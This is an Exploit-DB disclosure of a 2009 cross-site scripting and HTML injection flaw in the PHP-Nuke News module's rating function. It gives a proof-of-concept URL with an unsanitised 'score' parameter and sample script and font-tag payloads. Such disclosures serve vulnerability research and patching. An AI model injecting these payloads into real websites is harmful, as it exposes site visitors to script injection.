PHP-Nuke <= 8.0 - XSS & HTML Code Injection in News Module

2009-11-27T00:00:00
ID EDB-ID:10293
Type exploitdb
Reporter K053
Modified 2009-11-27T00:00:00

Description

PHP-Nuke <= 8.0 XSS & HTML Code Injection in News Module. Webapps exploit for php platform

                                        
                                            # Software Link: http://www.phpnuke.org/modules.php?name=Downloads&d_op=viewdownload&cid=1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
note :

This bug found by tampering passed data .
coders don't sanitize and check user entry point for news rate.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
POC:

http://server/modules.php?name=News&op=rate_complete&sid=6&score=[insert ur code here]

1. xss : &lt;SCRIPT&gt;alert(/XSS/.source)&lt;/SCRIPT&gt;
2. Html code injection : &lt;font color=red&gt;

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=